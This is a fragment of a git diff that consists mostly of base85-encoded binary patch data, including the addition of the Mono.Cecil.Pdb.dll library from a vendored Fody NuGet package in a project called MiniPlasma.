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
m19lrcrRPykPd>V;GP98REm| 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 Lf9U`J5P|;zw+AWZ literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/Mono.Cecil.Pdb.dll new file mode 100644 index 0000000000000000000000000000000000000000..46705fe7d4a1b9fd40a731d987e69bea8b5cef91 GIT binary patch literal 90112 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 